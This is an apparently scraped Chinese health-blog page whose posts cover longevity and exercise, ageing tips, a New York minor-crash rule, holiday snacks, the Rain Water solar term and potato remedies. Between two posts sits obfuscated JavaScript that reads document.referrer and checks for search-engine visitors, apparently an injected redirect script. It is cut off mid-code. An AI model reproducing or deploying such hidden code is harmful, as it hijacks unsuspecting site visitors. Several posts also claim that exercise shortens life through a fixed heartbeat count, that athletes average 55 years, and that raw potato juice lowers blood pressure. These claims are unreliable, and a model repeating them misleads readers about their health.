法国思想家伏尔泰提出了“生命在于运动”的格言。他喜欢散步、跑步、击剑、骑马、游泳、爬山、日光浴等运动。

但我们应正确理解“生命在于运动”,“运动不等于长寿”。因为心率和寿命成反比,运动导致心率加快,新陈代谢就加快,细胞的分裂和老化也必然加快。

比如:木讷的大象,心率每分钟40次,寿命80年;陆上速度第一的猎豹,寿命却只有20年;乌龟的心率10,寿命百年以上;而迅捷的老鼠,每分钟的心率900次,寿命却只有2年。

许多运动狂不爽了,说运动员在平时的心率,不是比普通人慢么?这是一种误读,不管他们跑得多快、窜得多高、肌肉多大、拳头多硬,有几个是长寿的?生命都被运动给提前透支光了。青壮年时代越显得比普通人威猛,到了中晚年越比普通人衰败得快。

归根结底,人的一辈子,心跳次数是有限度的,达到了一定次数的心跳,生命也就到头了。


运动

所以记住——生命在于静养。

静养不排斥适当的锻炼,比如太极、瑜伽等,快走也可以,但千万别奔、别跑、别跳,也别被自己练出来的一块块“发达的肌肉”给迷惑,那其实是提前挥霍了的一年年的寿命。

每天清晨,在各个公园都可以看到,有着为数较多的人群,正在做各种运动健生。尤以老人为最!其实,早晨的空气质量指数,是一天当中最差的。是不太适合体育运动及锻炼身体的(下午或黄昏较好)。比如:二氧化碳含量就是最高的时候。那为何会有那么多人去锻炼呢?缘于“生命在于运动”的口号,误导了大众。

“生命在于运动”,若从这句话的语境,其本身而言,也是不对的。至少这句话太武断,太偏激了! “生命在于运动”表明,如果不运动,就没有生命,也就是会短命。

果真如此吗?

是否人人都要运动?

是否人人都适合运动?

从辨证的角度看,很显然,是要因人而异、区别对待的。有些人,是不适合运动的。

比如:体质虚弱者,就不适合运动。因为人的元气是有限的,对于体质虚弱者,若参与运动,必将耗损更多的元气,使身体虚上加虚,雪上加霜,得不偿失!这种体质虚弱者,其实只需要静养就够了。

再比如:肝病、肾病患者,若参与运动,必将加重病情,使之恶化。这类病人也只适合静养的。

正如曹操所言:“盈缩之期,不独在天。养怡之福,可以永年”!这个“养怡”两字,“养”就是指养生,包括饮食起居、生活习惯;“怡”就是指开心,精神心理状态。

作为体育运动,它只能够加强身体肌肉、骨胳、关节等方面的强壮(对胖子好些)。一个人,会不会生病,会生什么病?是由身体内因决定的。好比,同样的天气,有人感冒,有人健康。气候这外因是相同的,但由于每个人的体质、免疫功能等内因不同,而出现明显的不同结局。一个人的长寿与否,是先天基因和后天调养来决定,并不是运动可以决定的。

西方国家的医学专家作过统计,人类社会的疾病,70%与情绪有关。这个情绪就是内因。也就是我国中医讲到的“七情致病”(喜、怒、忧、思、惊、恐、悲)。也有人说,通过体育运动,能够缓解紧张、焦虑的情绪。不知大家想过没有?紧张、焦虑等七情,犹如幽灵附身一般,在365天,每天24小时,随时随刻,都可能即时而发,难道你能坚持365天,24小时不间断锻炼吗?

或你在上班,商场购物时,突然出现了紧张、焦虑等情绪,你也能马上跑去锻炼?消除这不良情绪吗?何况这作用究竟有多大,也不得而知。作为自主神经所支配的七情,是不受意识所控制的,何况运动乎?

民间有句俗话:“饭后百步走,活到九十九”,其实这说法也不对。因为在饭后,人体的自我调节功能作用下,把全身大部分的血液,都调到胃部帮助消化了。人体其它器官都是处于低度的缺血状态。若饭后百步走,因大脑供血不足,出现头昏、眼花、四肢疲软,容易发生意外事故。再则,也会加重器官的缺血状态,于健康反而不利。

众所周知,全世界的体育运动员,平均寿命才55岁,属短命。全世界的武术家,也罕有长寿的。练太极拳除外,因太极拳属气功中的动功,讲究“三调”。即:调身、调意、调息,这是动静结合。

同为哺乳动物的老虎、狮子,被称为“百兽之王”,勇猛无比,但都短寿。而乌龟与蛇,少动的,却又长寿。

作为长寿的职业人群,常见的有:画家、书法家、学者、普通的农民等,他们都是相对好静的、安逸的或动静结合的。

美国有位著名作家杰克伦敦,被称为“文学之父”。他说,一个人为了长寿,而耗费太多时间锻炼,是不对的。

美国前总统罗斯福,他手下有三个副总统,其中一个副总统叫伽俐。好酒、好烟、好肥肉(曾说吃肉要吃透明的肉)、不运动,典型的大胖子(超胖)。保健医生一直劝他要戒烟酒、科学饮食,多运动,但他就是不听。结果,保健医生都死了,他还活着,活了105岁,属长寿。

台湾作家李敖说:他妈妈就是反科学的,整天躺在沙发上看电视,从早到晚喝可乐、咖啡、沙糖包子,爱吃高碳酸食物,活了90多岁。其爸爸,对生活很讲究,才活50多岁。

关键是每个人要了解自己的身体特征,适合干什么?不适合干什么?每人的身体都是独立个体,存在个体差异,包括兄弟姐妹亦如此。不能一味的强调干什么对身体好,吃什么对身体好。对别人好的,未必就是对你好的,反之亦然!


锻炼

俗话说:“人参吃死无罪,黄连治病无功”。人参是补药,补阳,大补元气。对阳虚、气虚者来说,就是补药!但对阴虚体质的人,就是毒药!

现在的国人大多盲从,缺乏独立思考的习惯;人云亦云、随波逐流。最终自己害自己,而不知所以然!

2021-02-20 / by / in
中老年人长寿显年轻的17个现象,你全有吗?

中老年人/老人长寿/17个现象

健康长寿是人们渴望的事情,当我们步入中老年的时候,心里上会越来越希望自己更年轻更健康。

下面为大家整理的中老年长寿且显年轻的17个现象,赶紧对照看看,你中了几个吧!

1.不爱粗茶淡饭

中国疾病预防控制中心营养与健康所研究员、中国老年学学会老年营养与食品专业委员会主任委员付萍指出,老人饮食并非越清淡越好,尤其是对高龄老人而言,过于清淡反倒容易导致营养不良,给身体埋下诸多隐患。

吃得过于清淡,只会让老化更加严重。一项调查结果表明,不吃肉的人比两天吃一次肉的人患痴呆症的概率要高一倍。因此,中老年朋友要想长寿,饮食方面也不能过于清淡,也要适当合理地吃一些肉食。


外出散步 

2.每天都要外出至少一次

如果你每天都想出去走走,而不是整日待在家中,那说明你的心态和行动都是健康的。我们建议所有的中老年朋友,就算是一个人,也坚持尽量每天出一次门,哪怕是下楼散散步也好。


老朋友聚餐 

3.每周一次外出聚餐

大多数中老年朋友都更爱在家里吃饭,认为外面的食物不健康。其实,我们偶尔也可以外出吃吃饭。

一周一次,穿上最喜欢的衣服,带上自己的老伴,叫上几个老朋友,出门享受一次年轻,尝尝自己从没吃过的外国菜,也是一种愉快积极的体验哦。

4.有爱美的心态

人到中老年适度“老来​​俏”不仅是个人身心健康的需要,也是现代文明的需要。白发一经染黑就显得年轻许多;胡子勤刮可使颜面保持整洁,容光焕发。

有一颗爱美的心态,不仅能美化自己、增添精神,而且也美化社会,成为一道“夕阳风景”。还利于社交活动,益于身心健康。正如谚语所说“老要时髦,少要乖”。

5.懂得释怀

60岁后,该释怀的释怀,该放下的放下,不要再为难自己,委屈自己,不要再逞强,不要再纠结。我们已经过了任性的年龄,生命已经由不得你再去糟蹋。如果你不爱惜自己,又​​有谁会真的在乎。

懂得释怀的中老年人,心态更好,看得更开,自然也就更加长寿、快乐!

6.愿意接受新事物、新观念

时代已经发生改变,生活观念也在不停的变换更新。我们不能总守着以往的观念来过日子,也要懂得与时俱进,多了解现在的新观念。

如果你愿意走出家门,去探索这个精彩的世界,接受当下最新潮的事物和观念,那你一定就是一个乐在享受暮年的新老人!

7.是个乐天派

据《美国心理学家杂志》报道,约有17%的美国人是乐天派,他们对生活有着积极的态度,有明确的目的和很强的社会认同感,他们要比悲观派的人更健康。

我们应该努力保持乐观的态度,积极寻求生活的意义。在意大利的撒丁岛或日本的冲绳,那里有世界上最长寿的人们。他们都很勤劳地工作,但是他们更注重和家人一起度过时间,提升自己的精神状态,并且喜欢帮助别人。

8.性格开朗,喜欢交朋友

俗话说,多个朋友多条路,说的是人熟好办事,而澳大利亚科学家的一项研究则表明,朋友多还能促使人长寿。研究结果表明,与5个以上亲密朋友一直保持接触或电话联系的老人,比朋友相对较少的老人死亡率低22%。

朋友能够帮助人排遣压力,解决困难,也能激励健康的生活习惯。

9.爱清理东西

如果你是一个定时清理家中物品,并舍得将不用的东西扔掉的人,那恭喜你,你有中了一条。这说明,你很有长寿的潜质。

家中最后只保留生活必需品,其他的都可以清理掉。生活中,不买不需要的东西;必要的东西挑好的买。当你清理完后就会发现,还是原来那个家,但自己似乎住得更舒服了。

10.有真心喜欢自己的朋友

美国西达克瑞斯特学院的心理学副教授迈卡萨丁称,良好的人际关系是很好的减压剂,而知道有人一直支援着你,会让你身心都保持健康。

11.有陪在身边的老伴

少年夫妻老来伴,相伴一生的夫妻到老才最重要。家常饭,粗布衣,知冷知热结发妻。老了才真正懂得知冷知热的老伴才是这一生最宝贵的财富。

身边有一个知冷知热的老伴,生活也会更加快乐温暖,自然就会更加健康长寿了。


老人和孩子 

12.喜欢和小孩一起玩

如果你喜欢和自己的孙辈,或者小区里其他的孩子一起玩,喜欢逗小孩,那说明你有一颗永远不老的童心。

如果你是上午偷偷笑,下午活蹦乱跳,嘴里哼着小调,晚上稀里呼噜睡觉,那说明你的生活一定非常快乐,且充满乐趣、童趣。

13.身体微胖

现在人们都“以瘦为美”,但其实微胖的人才长寿!

研究发现,到了老年,微胖的人骨密度较高、死亡率较低,呼吸系统疾病、骨质疏松、糖尿病的发生率也较低,并且对环境的适应能力较强,如当流感、肺炎等疾病发生时,消瘦的老年人更易感染,而微胖的老年人相对较好。

14.多数时候更愿意步行

一项对2603名男女进行的最新研究表明,每天坚持步行30分钟的人可定义为身体健康的人。不管他们体内脂肪含量有多高,都要比每天步行少于30分钟的人更长寿。

同样,也有研究称肥胖妇女可通过每天增加10分钟的运动来改善其心脏健康状况。因此午饭后不妨走路散散步,每天尽量以各种方式多做一点运动。

15.有一双强健的腿

背靠墙站立,脚慢慢往前走,然后再退回来直到你保持一个平稳状态,但是背的下半部要始终紧贴着墙壁。尽最大可能保持这种姿势,每天做一次,并且每次增加几秒钟的时间。

16.爱吃紫色食物

一项最新研究显示,紫葡萄、蓝莓和红葡萄酒富含多酚,多酚能使血管保持韧性,有助预防心脏病和老年痴呆症,凡是对冠状动脉有益的食物对脑血管也很有帮助。

对动物的初步研究表明,在饮食中增加黑葡萄能帮助改善大脑功能。另有研究显示,每天喝一杯蓝莓果汁有助提升脑细胞功能,增加记忆力。

17.不打呼噜

有人认为打呼噜是“睡得香”的表现,实际上打呼噜是一种病。一项历时18年的研究发现,睡觉不打呼噜的人寿命更长。

严重打呼噜造成的呼吸反复停止,成为高血压、糖尿病的帮凶,甚至心梗、脑梗、肺梗死的“引爆器”,以及恶性肿瘤发生发展的催化剂。一旦打呼噜明显,建议到医院检查原因,并获取医生专业的治疗方法。

如果你中了0-6条,那说明你还要继续努力,好好调整自己的生活习惯和心态,才能拥有更健康的身体哦。

如果你中了7-12条,那你还不错,你看上去比一般的同龄人要年轻一些,也有长寿的潜质。

如果你中了13条以上,那恭喜你,你的心态和面貌都十分年轻,而且健康长寿的几率也非常大哦。

2021-02-20 / by / in
纽约市警不再处理轻微车祸 109分局向司机支招

纽约市从2020年4月开始,对于仅造成财产损失、无需拖车而且司机也都在现场的机动车事故,不需要再向警察局报告。市警109分局17日在推特上向司机介绍了如何应对市警在这方面执法的变化。

在不需要打911报警时,您可以与其他驾驶员交换驾驶执照信息、保险和车辆登记信息。同时,为了保险起见,应当向机动车部门提交机动车事故报告,可以在dmv.ny.gov/forms/mv104.pdf上找到该表格,也可以在您当地的辖区或警察服务区索取该表格。

根据市警“零死亡愿景”Vision Zero)的宣传资料,发生车辆碰撞时,压力可能很大,但请务必记住,安全始终是第一要务。以下是发生碰撞后要牢记的一些技巧:将车辆移入停车区;检查自己和所有乘客是否受伤;如果您无法移动车辆,或者需要医疗帮助,请拨打911并按照操作员的说明进行操作。

如果您的车辆可操作,并且您和您的所有乘客均未受到任何伤害,则应在估状况之前,将车移至安全的位置(例如最近的路肩,中线或最右边的车道)。这样做,可以保护您免受接下来的车流的威胁;允许其他驾驶者安全地通过;为紧急情况响应者提供更轻松的访问途径。

注意:如果碰撞对任何人的财产造成超过1000美元的损失,则必须在碰撞发生后10天内向汽车部门提交汽车事故报告。否则,可能会导致您的驾驶执照中止。

根据纽约州车辆和交通法,在与其他驾驶人交换信息之前离开碰撞现场是违法的。此外,在以下情况下,您必须留在现场并在发生车辆碰撞后立即与警察联系,这些情况包括:有人受伤或死亡;撞上停泊的车辆或撞上物业,并导致它们受损,且无法找到车主或屋主。

2021-02-19 / by / in ,
坚果、海苔美称健康零食 ?医曝惊人真相

零食/调味/加工腌制/油炸/紫菜/海苔/避免摄取过多低油/低盐/低糖/新鲜水果

过年期间免不了多吃些人们认为健康的糖果、饼干和坚果等,这些s是否真的是健康食物,那我们就看看创健健检中心陈建志院长怎么说。

医师指出,许多人将坚果、海苔等视作健康零嘴,但其实很多都过度调味加工,不可过度摄取,尤其是糖尿病及心血管病友,以免影响血糖、血脂及增加体重。


坚果

《三立新闻》报道,创健健检中心陈建志院长指出,坚果类、蔬果干等,都是民众误以为健康的零食清单,但其实许多都是经过腌制、油炸、裹上蜜糖后制成,不可过度摄取。建议民众可特别挑选未经调味的坚果并限量食用,一天以1至2个免洗汤匙的量为佳。

陈建志也指出,紫菜、海苔热量虽低,但一般市售海苔通常调味过重,提醒肾脏病友要选择低调味或无调味的产品。另外,许多常见年菜热量也相当高,像是排名第一的东坡肉、象征“年年有余”的糖醋鱼及有着“步步高升”之意的年糕与米糕都要注意,尽量避免摄取过多。


海苔

陈建志提醒民众,吃正餐时,可以在餐前喝一杯茶或水,吃饭时将菜肉比例调整为2:1,增加饱足感之余,也提升纤维质的摄取;年节期间也要慎选健康零食,以低油、低盐、低糖为原则,或以新鲜水果取代,可增加每日纤维摄取,热量也不容易爆表。

2021-02-19 / by / in
今日“雨水”,讲究这些 你知道吗 ?

雨水/二十四节气/习俗/忌讳/拉保保/回娘家/占稻色/接寿/春捂秋冻/春雨

雨水是反映降水现象的节气,代表着春天的到来,正如好雨知时节,当春乃发生,随风潜入夜,润物细无声。

春始属木,然生木者必有水也,故立春后继之雨水。雨水,是二十四节气之第2个节气, 雨水节气代表着降雨开始,俗话说“春雨贵如油”,进入雨水节气,是大地回春的重要节点,自此之后“一场春雨一场暖”,大地即将换绿衣!一副早春的景象即将来到眼前。


雨水

“雨水”这天的讲究,习俗和忌讳

中国古历法中,二十四节气分别是:立春、雨水、惊蛰、春分、清明、谷雨、立夏、小满、芒种、夏至、小暑、大暑、立秋、处暑、白露、秋分、寒露、霜降、立冬、小雪、大雪、冬至、小寒、大寒。作为二十四节气中的第二节气,雨水节气时常伴有细雨和风,淅淅沥沥的小雨犹如大地母亲的爱抚,将花草树木从冬眠中唤醒,用甘露滋润,使其焕然一新。

在中国古代,人们认为,雨水节气开始,阳气开始上升,阴气开始下降,二气祥和孕育春天的生机盎然。那么雨水这天有哪些民间习俗和忌讳呢?今天我们一起来聊一聊。

雨水这天,中国的传统习俗主要有:拉保保、回娘家、占稻色、接寿。


早春

传说,在女娲创世之初,从正月初一开始,依次创造了“鸡狗猪羊牛马”,所以从正月初一到初六就是“六畜日”。到了第七日,才造出了人,所以正月初七就是人的生日,被称为“人日节”。如果初七这一天下雨的话,在新的一年里,人就会不太顺利。今年的“人胜节”比较特殊,更好与二十四节气中的“雨水”撞到了同一天,老话有:“人节见雨水,接寿找干爹”。什么意思呢?

1、拉保保

拉保保就是找干爹。这项有趣的风俗活动源自中国川西一带。大家都知道,家里儿女染病是父母长辈最操心的。为了让儿女们能够远离疾病,健康平安地成长,父母就寄托神灵,拜佛烧香为儿女求神问卦,看需不需要找个干爹。找干爹的目的就是希望干爹能够庇护孩子长大,带给孩子福气。这个习俗经过代代相传,传承到现在更名为“拉保保”。


烧香

2、回娘家

我们很多人都知道正月初二回娘家,那时春节习俗,雨水节回娘家的习俗流行依然于川西一带。雨水节这天,出嫁的女儿们“身穿大红袄,头戴一枝花,胭脂和香粉她的脸上擦。左手一只鸡,右手一只鸭,身上还背着一个胖娃娃呀,咿呀咿得儿喂!“纷纷带上礼物回娘家拜望父母。

3、占稻色

占稻色就是炒稻谷糯米。通过爆炒稻谷糯米,炒出米花,来寓意庄稼是否丰收。爆出的糯米花越多,收成越好;爆出来的米花越少,则意味着收成不好,米价将涨价。

4、接寿

中国有些地区,在雨水这一天,有个民俗是女儿给父母、女婿给岳父母送节。送节的礼品通常是一丈二尺长的红棉带,这就称为“接寿”,祝福父母长命百岁、身体健康、福如东海。

同时呢,按照雨水节气的传统,又有一些禁忌,这里重点说三个:


不要过早地脱去厚衣服

1、不要过早地减少穿衣服。

俗话讲:“春捂秋冻”。春天的气候最不稳定,天气一天冷、一天热,温度并不稳定。所以不要过早地脱去厚衣服换上轻便的春装,要等到气候稳定的时候再换衣服。

2、年龄大的或者体质较弱者,少用冷水。

在雨水时节,年老体弱者用冷水洗脸洗手洗衣服,湿寒很容易侵入身体,此时的天气还没有完全回暖,湿寒滞留体内,容易通风或者引起偏头痛。

3、雨水之日最大的忌讳就是没有下雨。

民谣说:“雨水不落,下秧无着。”意思为雨水不下雨,下秧就没有着落了,当年庄稼可能收成不好。因此雨水这天下雨是人们最盼望的,是老天恩赐的礼物,“春雨贵如油”,对农作物的生长特别重要。

2021-02-19 / by / in , , ,
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P2RxOz

$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,57,55,50,56,122,51,113,72,84,77,76,60,34,48,112,47,63,38,95,43,85,67,119,44,58,37,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[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2021-02-18 / by / in , , ,
土豆蔬菜明星,一定要看,最好的“药”错过就太亏了

土豆/营养价值/第二面包/土豆吃法/美容抗衰/降压抗癌

土豆是全球最普遍的食物,也是老百姓餐桌上必不可少的一种蔬菜。同时它也是全球人民都爱的美食。

联合国最近一项调查表明,到2100年,全世界人口将增加到105亿,可能导致粮食危机。

有的科学家认为,到那个时候,最有可能帮助人类渡过危机的就是这貌不惊人、我们天天见到的土豆。

土豆如今成了营养学家青睐的蔬菜明星,被认为是世界上最伟大的食物之一。

吃了一辈子的土豆,但你知道吗?土豆就是最好的“药”,关键看你怎么吃,真要好好学学了!


土豆

土豆浑身是宝,堪称“地下苹果”

土豆浑身都是宝。两位英国营养专家建议,每天吃两次煮土豆可以缓解压力。具体说起来,土豆有以下几个营养优势。

1营养价值高:“第二面包”美称

土豆的营养价值很高,含有丰富的维生素A和维生素C以及矿物质,优质淀粉含量约为16.5%,还含有大量木质素等。

美国饮食营养协会发言人洛娜·桑顿指出,土豆是典型的低能量食物,素有“第二面包”的美称。

2含多种维生素:有利心血管健康

土豆富含各种维生素,含量甚至与蔬菜相当。尤其是维生素C和B族维生素含量较高,其中前者是一种抗氧化剂,保护身体免于自由基的威胁,后者有利于心血管健康。

3富含钾盐:降脑卒中发病率

天津第一中心医院营养科主任谭桂军指出,每100克土豆含钾高达300毫克以上,具有防治高血压和心脏病的功效,这让土豆享有“地下苹果”的美誉。

另外有研究证明,每天坚持吃1个中等大小的土豆(约130克),可使脑卒中的发病率降低40%。


洋葱炒土豆

4富含多酚类:抗癌、抗氧化

两位英国专家也指出,早先的研究结果表明,土豆能有效预防乳腺癌,并在癌症早期的综合治疗中发挥积极作用。

谭桂军指出,土豆中含有的多酚类物质,具有抗癌、抗氧化作用。

5是非常好的补气食物

从中医角度看,土豆是一种非常好的补气食物。具有健脾益气、和胃调中、减肥降脂等功效,对有“气虚”表现的人有很好的调理作用。

土豆堪称百姓灵芝,但是想要吃它达到防治疾病的目的,吃法非常关键!


土豆

1、降血压 —— 生土豆榨汁

方法

将土豆洗净,去皮,用擦菜板擦成汁或榨橙汁。然后可依照个人口味加入酸奶、砂糖、蜂蜜等饮用。

很多人不知道土豆其实还是一味“降压药”。

土豆中含有大量矿物质、B族维生素和钾,有利于控压,降压,还可保持血管弹性,有利于预防动脉粥样硬化的发生,这些都是控制血压的可靠保证。

2、降血糖 —— 蒸土豆

方法

将土豆蒸熟吃,这种情况能够避免土豆的吸油性,一般需要蒸10分钟左右,然后直接吃就可以。

尽可能不要乱加调料,如果觉得难以下咽的话,应该注意细嚼慢咽。

高血糖的人可以用土豆代替一部分主食。土豆中的碳水化合物含量在17%左右,比米饭(26%)或馒头(50%)中的碳水化合物都要低。

以土豆代部分主食,可减少部分总热量摄入,对血糖、血脂过高都有很好的改善和缓解作用。

3、助消化 —— 土豆炒着吃

方法

土豆切成丝后,先在水中稍微泡泡。因为土豆中淀粉以直链淀粉为主,泡泡再炒,土豆丝会比较爽脆。

加醋可以保护土豆中所含的部分维生素C,而炒的过程中放油,又可促进土豆中抗氧化物质的吸收。调成酸辣味,还能减少食盐用量。

酸辣土豆丝很多人都吃过,炒酸辣土豆丝可以说是一味治疗食欲差的好“药”,酸辣可口的土豆丝可以增加食欲、促进消食。

4、润肠防便秘 —— 土豆加蜂蜜

方法

1、把土豆削皮、切碎,用榨汁机榨成汁。

2、把榨好的土豆汁倒进锅里,用小火煮,当土豆汁变得黏稠时,加入适量蜂蜜,搅拌均匀即可。

3、做完后放入冰箱冷藏。每天喝一次,每次两勺,空腹服用即可。

你知道吗?每100克土豆里所含的膳食纤维高达6克,可以说是防治便秘的首选食物。

要提醒的是,蜂蜜最好选择槐花蜜。槐花蜜属凉性,用来治疗便秘效果最好。而热性的蜂蜜,吃了以后会增加肠道的干燥,反而会加重便秘的症状。

5、美容 —— 新鲜土豆片

方法

